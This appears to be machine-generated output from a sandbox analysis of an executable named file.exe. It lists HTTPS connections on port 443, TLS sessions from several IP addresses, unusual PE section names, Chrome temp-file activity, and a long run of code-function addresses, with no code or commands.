Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:64874 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_1612_1996489889

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06045E06	0_2_06045E06
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06027606	0_2_06027606
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600B605	0_2_0600B605
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603761F	0_2_0603761F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600D61F	0_2_0600D61F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601BE26	0_2_0601BE26
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604162C	0_2_0604162C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603EE2A	0_2_0603EE2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603F62F	0_2_0603F62F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06030E2C	0_2_06030E2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603963A	0_2_0603963A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06021639	0_2_06021639
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06054658	0_2_06054658
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604CE6D	0_2_0604CE6D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06015E6D	0_2_06015E6D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604B668	0_2_0604B668
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603C676	0_2_0603C676
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06029E7A	0_2_06029E7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060196A1	0_2_060196A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602F6A4	0_2_0602F6A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604AEA2	0_2_0604AEA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603DEA4	0_2_0603DEA4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602C6A9	0_2_0602C6A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06046EAA	0_2_06046EAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603B6BB	0_2_0603B6BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06051EC7	0_2_06051EC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06052EC8	0_2_06052EC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05FFD531	0_2_05FFD531
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060116D7	0_2_060116D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060306D9	0_2_060306D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06025EDC	0_2_06025EDC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604E6E7	0_2_0604E6E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602DF04	0_2_0602DF04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604970F	0_2_0604970F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06026712	0_2_06026712
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06036F1A	0_2_06036F1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604FF1D	0_2_0604FF1D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601C71C	0_2_0601C71C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600C724	0_2_0600C724
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06040F20	0_2_06040F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06024731	0_2_06024731
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06010734	0_2_06010734
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06021F3F	0_2_06021F3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06052743	0_2_06052743
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602874E	0_2_0602874E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06025755	0_2_06025755
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06047763	0_2_06047763
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603A76D	0_2_0603A76D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600F770	0_2_0600F770
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06039773	0_2_06039773
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600EF74	0_2_0600EF74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603D785	0_2_0603D785
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06027F8F	0_2_06027F8F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06037799	0_2_06037799
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06012FAA	0_2_06012FAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060387B2	0_2_060387B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602EFD5	0_2_0602EFD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602D7DD	0_2_0602D7DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600FFED	0_2_0600FFED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060427FC	0_2_060427FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06019FFF	0_2_06019FFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603C7FD	0_2_0603C7FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601E407	0_2_0601E407
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602CC1B	0_2_0602CC1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602D426	0_2_0602D426
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06031C24	0_2_06031C24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604443A	0_2_0604443A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06017C4A	0_2_06017C4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600AC52	0_2_0600AC52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601746B	0_2_0601746B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600FC6B	0_2_0600FC6B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603446C	0_2_0603446C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06012496	0_2_06012496
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06041C98	0_2_06041C98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603ACAA	0_2_0603ACAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604DCA9	0_2_0604DCA9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06048CBA	0_2_06048CBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060234CF	0_2_060234CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600ECCF	0_2_0600ECCF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604D4DE	0_2_0604D4DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060084E0	0_2_060084E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060554E4	0_2_060554E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604F4FE	0_2_0604F4FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06054505	0_2_06054505
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601FD09	0_2_0601FD09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604050D	0_2_0604050D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601A50D	0_2_0601A50D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601950C	0_2_0601950C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06009517	0_2_06009517
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06005D1C	0_2_06005D1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06026D2F	0_2_06026D2F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06023D3A	0_2_06023D3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06034D38	0_2_06034D38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06016D40	0_2_06016D40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06006D4A	0_2_06006D4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06022D56	0_2_06022D56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06018D58	0_2_06018D58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603356C	0_2_0603356C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06044D7E	0_2_06044D7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603DD7D	0_2_0603DD7D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06053D86	0_2_06053D86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600AD8D	0_2_0600AD8D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05FFDE5A	0_2_05FFDE5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601F5AB	0_2_0601F5AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601C5B8	0_2_0601C5B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603CDD0	0_2_0603CDD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060465D3	0_2_060465D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604A5D3	0_2_0604A5D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602B5E1	0_2_0602B5E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06010DFF	0_2_06010DFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06049205	0_2_06049205
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604CA0D	0_2_0604CA0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600B211	0_2_0600B211
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600621B	0_2_0600621B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06024A23	0_2_06024A23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06045220	0_2_06045220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06047236	0_2_06047236
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604D232	0_2_0604D232
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603FA45	0_2_0603FA45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06005A56	0_2_06005A56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06028A54	0_2_06028A54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604E253	0_2_0604E253
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603C258	0_2_0603C258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604EA62	0_2_0604EA62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604FA68	0_2_0604FA68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602A270	0_2_0602A270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06037283	0_2_06037283
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603BA97	0_2_0603BA97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603EA9C	0_2_0603EA9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060262A1	0_2_060262A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060162A5	0_2_060162A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602E2B6	0_2_0602E2B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602D2B5	0_2_0602D2B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06041ABA	0_2_06041ABA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060452C5	0_2_060452C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060522D4	0_2_060522D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603E2D9	0_2_0603E2D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603AAFA	0_2_0603AAFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06036AFC	0_2_06036AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06038301	0_2_06038301
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06040B0A	0_2_06040B0A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06029B13	0_2_06029B13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600FB13	0_2_0600FB13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06051310	0_2_06051310
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06050B1C	0_2_06050B1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06039B36	0_2_06039B36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06054B33	0_2_06054B33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604133D	0_2_0604133D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602F341	0_2_0602F341
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601CB4A	0_2_0601CB4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06037B53	0_2_06037B53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06045B51	0_2_06045B51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601A35C	0_2_0601A35C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602EB65	0_2_0602EB65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600A36E	0_2_0600A36E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06025B72	0_2_06025B72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06019B7D	0_2_06019B7D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06026B7D	0_2_06026B7D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06018B80	0_2_06018B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06029385	0_2_06029385
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06011BA5	0_2_06011BA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06038BAA	0_2_06038BAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06049BAF	0_2_06049BAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601EBB1	0_2_0601EBB1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060473C1	0_2_060473C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601BBC7	0_2_0601BBC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06028BCA	0_2_06028BCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060073CB	0_2_060073CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603A3D9	0_2_0603A3D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060373DE	0_2_060373DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06030BDD	0_2_06030BDD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601D3E5	0_2_0601D3E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06033BEA	0_2_06033BEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06008BF4	0_2_06008BF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06013809	0_2_06013809
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06007810	0_2_06007810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601E046	0_2_0601E046
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603604E	0_2_0603604E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601D84F	0_2_0601D84F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600E85B	0_2_0600E85B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601705F	0_2_0601705F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06032066	0_2_06032066
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603406E	0_2_0603406E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604306B	0_2_0604306B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06044077	0_2_06044077
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603507B	0_2_0603507B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06049085	0_2_06049085
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06022880	0_2_06022880
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06008097	0_2_06008097
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06007098	0_2_06007098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060420A1	0_2_060420A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060190AC	0_2_060190AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060478BC	0_2_060478BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060200CA	0_2_060200CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060488CC	0_2_060488CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602A8D4	0_2_0602A8D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060330D5	0_2_060330D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060108DB	0_2_060108DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600B8DC	0_2_0600B8DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060448D8	0_2_060448D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060300E7	0_2_060300E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060480E1	0_2_060480E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060210EC	0_2_060210EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060328F0	0_2_060328F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604D8F0	0_2_0604D8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601F90A	0_2_0601F90A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06014931	0_2_06014931
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06054146	0_2_06054146
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601B950	0_2_0601B950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601F153	0_2_0601F153
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600C166	0_2_0600C166
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600A97C	0_2_0600A97C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0605198A	0_2_0605198A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06045995	0_2_06045995
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0602399E	0_2_0602399E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060361CB	0_2_060361CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060169C8	0_2_060169C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601B1CF	0_2_0601B1CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060271CC	0_2_060271CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600D9D5	0_2_0600D9D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0600A1E2	0_2_0600A1E2
